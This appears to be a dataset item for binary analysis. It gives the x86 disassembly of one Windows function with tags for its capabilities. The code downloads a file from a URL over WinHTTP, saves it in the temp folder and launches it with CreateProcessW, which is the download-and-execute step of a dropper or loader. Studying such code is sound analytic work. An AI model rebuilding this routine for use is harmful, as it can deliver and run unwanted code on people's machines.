Function at 0x10009b20
Capabilities:
Create process on windows
Delete file
Get common file path
Initialize winhttp library
Prepare http request
Receive http response
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x18c4
call fcn.10018240
mov eax, dword [0x10021008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, ecx
push 0x2f
push ebx
call dword [sym.imp.VCRUNTIME140.dll_wcsrchr]
add esp, 8
test eax, eax
je 0x10009e43
lea esi, [eax + 2]
test esi, esi
je 0x10009e43
lea eax, [ebp - 0x418]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x10009e43
push esi
lea eax, [ebp - 0x418]
push eax
push 0x1001b4c0
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.10009ae0
add esp, 0x14
lea eax, [ebp - 0x210]
push 0
push 0x80
push 3
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x10009bce
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push str.User_Agent
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov edi, eax
test edi, edi
je 0x10009e43
lea eax, [ebp - 0x820]
mov dword [ebp - 0x185c], 0
mov dword [ebp - 0x1858], eax
xorps xmm0, xmm0
lea eax, [ebp - 0x620]
movlpd qword [ebp - 0x1864], xmm0
mov dword [ebp - 0x183c], eax
lea eax, [ebp - 0x1868]
push eax
push 0
push 0
push ebx
movlpd qword [ebp - 0x1850], xmm0
movlpd qword [ebp - 0x1848], xmm0
mov dword [ebp - 0x1840], 0
movlpd qword [ebp - 0x1834], xmm0
mov dword [ebp - 0x1868], 0x3c
mov dword [ebp - 0x1854], 0x100
mov dword [ebp - 0x1838], 0x104
call dword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
test eax, eax
je 0x10009e3c
push 0
push dword [ebp - 0x1850]
push dword [ebp - 0x1858]
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov ebx, eax
mov dword [ebp - 0x1828], ebx
test ebx, ebx
je 0x10009e3c
push 0x100
push 0
push 0
push 0
lea eax, [ebp - 0x620]
push eax
push 0x1001b4e4
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov esi, eax
test esi, esi
jne 0x10009ccc
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push ebx
call esi
push edi
call esi
jmp 0x10009e43
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x10009e2b
push 0
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x10009e2b
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10009e25
lea eax, [ebp - 0x1824]
push eax
push 0x1000
lea eax, [ebp - 0x1820]
push eax
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x10009d6b
mov eax, dword [ebp - 0x1824]
test eax, eax
je 0x10009d6b
push 0
lea ecx, [ebp - 0x182c]
push ecx
push eax
lea eax, [ebp - 0x1820]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x1824], 0
ja 0x10009d22
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push esi
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call esi
push dword [ebp - 0x1828]
call esi
push edi
call esi
lea eax, [ebp - 0x1878]
mov dword [ebp - 0x18c0], 0x44
push eax
lea eax, [ebp - 0x18c0]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x210]
movlpd qword [ebp - 0x18bc], xmm0
push eax
movlpd qword [ebp - 0x18b4], xmm0
movlpd qword [ebp - 0x18ac], xmm0
movlpd qword [ebp - 0x18a4], xmm0
movlpd qword [ebp - 0x189c], xmm0
movlpd qword [ebp - 0x1894], xmm0
movlpd qword [ebp - 0x188c], xmm0
movlpd qword [ebp - 0x1884], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10009e43
push dword [ebp - 0x1878]
call ebx
push dword [ebp - 0x1874]
call ebx
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10016f21
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 0x1828]
push esi
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call esi
push ebx
call esi
push edi
call esi
jmp 0x10009e43
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10016f21
mov esp, ebp
pop ebp
ret